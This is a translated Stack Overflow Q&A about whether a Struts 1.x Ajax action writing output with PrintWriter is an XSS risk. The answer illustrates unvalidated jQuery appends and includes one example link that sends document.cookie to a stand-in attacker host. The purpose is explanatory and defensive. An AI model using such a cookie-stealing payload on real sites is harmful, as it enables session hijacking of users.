我有一个 Web 应用程序,它使用 Ajax 来执行多项任务。它使用 Java 作为中间件(Struts 1.x)
问题是我的应用程序使用静态代码分析来分析潜在的安全风险。分析发现,使用以下代码被认为存在漏洞。
例如
// Method invoked by Ajax
public ActionForward execute(...)
{
PrintWriter out = response.getWriter();
out.println("Ajax Response");
return null;
}
报告明确提到,使用 PrintWriter 是有害的,并且容易出现 XSS(跨站脚本)。 我尝试在线搜索这是否是潜在威胁,但找不到任何有用的东西。 请告知这是否是一个问题以及我的替代方案是什么。
编辑 - 问题是通过 out.println 语句发现的
谢谢, 悉达多
最佳答案
您可以在网上找到很多有关 XSS 的信息,但很少有真正详细介绍如何测试并避免它。这是需要进行一些研究的事情之一。让我给您举个例子,您提供的代码可能是也可能不是问题的原因。
假设您的 HTML 页面对后端进行了 ajax 调用,然后返回结果。我只是给你一个成功后的jquery例子
$.each(data, function(){<br/>
$('div.result').append(this);<br/>
);
您会注意到数据只是附加而没有验证。如果数据来自脚本小子并输入怎么办
//this might not be the correct syntax
<a href="http://somehackerurl.com/hack.php?"+document.cookie>test</a>
由于您没有验证您的输入,因此用户可以输入任何内容,上面的代码将窃取点击该链接的人的 cookie。
希望这有帮助
关于java - 使用 Ajax 和基于 Java 的服务器的 Web 应用程序 - 安全相关,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/10114643/